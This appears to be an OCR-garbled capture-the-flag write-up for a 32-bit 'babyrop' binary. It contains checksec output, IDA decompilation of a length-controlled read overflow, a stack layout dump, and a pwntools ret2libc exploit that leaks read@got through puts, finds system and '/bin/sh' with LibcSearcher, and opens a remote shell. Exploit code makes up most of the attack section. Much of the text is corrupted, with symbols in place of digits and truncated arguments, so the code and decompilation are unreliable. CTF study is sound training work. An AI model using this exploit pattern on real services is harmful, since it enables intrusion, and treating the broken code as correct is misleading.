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[+] '/root/pun/babyrop/pun'
Arch: 1386-32-1little
RELRO: Full RELRO

Stack:
Mz
PIE:

ida f5

int _ cdecl main(}
i
int buf; // [esp+ah] [
char v2; // [
int fd; // [es

sub_B8@8486BB();
fd = open("/dev/urandom™, @);
if ( fd » 8 )

read(fd, &buf, 4u);
v2 = sub_8e4871F(buf);
sub_B@437Da(v2);
return 8;

int _ cdecl sub_8@4871F(int al)
{
size t vl; // eax
char s; // [esp+Ch] [ebp-4cCh]
char buf[7]; // [esp+2Ch]
unsigned _ int8 w5; // [es 1
ssize_t w6; // [esp+4Ch] [ebp-Ch]

memset(&s, @, @x28u);
memset(buf, @, 8x28u);
sprintf(&s, "¥1d", al);
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Vb = read(w, DUT, @X28U);

buf[ve - 1] = @;

vl = strlen(buf);

if ( strncmp(buf, &s, v1) )
exit(@);

write(l, "Correct\n”, 8u);

return vs;

size t  cdecl sub_58487D8(char al)
i

ssize t result; // eax

char buf; // [esp+llh] [ebp-E7h]

if ( al == 127 )

result = read(@, &buf, @xC8u);
else

result = read(@, &buf, al);
return result;
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-@0e80835 db ? ; undefined
-BAE20034 db ? ; undefined
- 20000033 db ? ; undefined
-BEE20832 db ? ; undefined
-@0e00031 db ? ; undefined
- 2620038 db ? ; undefined
-@0e0002F db ? ; undefined
-BEAB8082E db ? ; undefined
-@eee802D db ? ; undefined
-2ea0002C buf db 7 dup(?)
-888686825 var 25 db ?

-BEE20024 db ? ; undefined
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-Baa28822 db ? ; undefined
-@ee00021 db ? ; undefined
-B3E20020 db ? ; undefined
-@0a00e1F db ? ; undefined
-BE3E8001E db ? ; undefined
-@eee0e1D db ? ; undefined
-BEa8881C db ? ; undefined
-@0a00016 db ? ; undefined
-BEa2881A db ? ; undefined
-@0e88819 db ? ; undefined
-B3E2001E db ? ; undefined
-@0e00017 db ? ; undefined
-BEAB80016 db ? ; undefined
-@0e00015 db ? ; undefined
- 2620014 db ? ; undefined
-@0e00013 db ? ; undefined
- 2680012 db ? ; undefined
- 28880011 db ? ; undefined
- 23620018 db ? ; undefined
-@0a000aF db ? ; undefined
- BAEBBBE E db ? ; undefined
-@ea0e0a0 db ? ; undefined
-@gagagaC var_C dd ?

-BAB2OOOE db ? ; undefined
-@ea00007 db ? ; undefined
- BAEBRBBE db ? ; undefined
-20a00085 db ? ; undefined
- BAE2000.1 db ? ; undefined
-@0a00003 db ? ; undefined
-BEE2006 2 db ? ; undefined
-@0a00001 db ? ; undefined
+BRERAERE S db 4 dup(?)
+AOE0BARL db 4 dup(?)
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p = flat(['a™*0xe7, ‘b’*4, puts_plt, main_addr, read_got])
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from pwn import #*

from LibcSearcher impor
context(log_level =

r = remote(

ELF(
ROP(elf)

elf.plt[

elf.got[

elf.plt[
main_addr =

payloadl = flat([ \x@0@ , \xff %= ])
r.sendline(payloadl)
r.recvuntil( \n'}

p = flat([ 'a'=* ; %, puts_plt, main_addr, read_got])
r.sendline(p) 5
read_addr = u32§r.recv( }l

r.sendline(payloadl)
r.recvuntil(

\n )

libc = LibcSearcher( , read_addr)

libcbase = read_addr - libc.dump( )

sys_addr = libcbase + libc.dump( )

binsh_addr = libcbase + libc.dump( )

p = flat([ * : *., sys_addr, *., binsh_addr])
r.sendline(p)

r.interactive()
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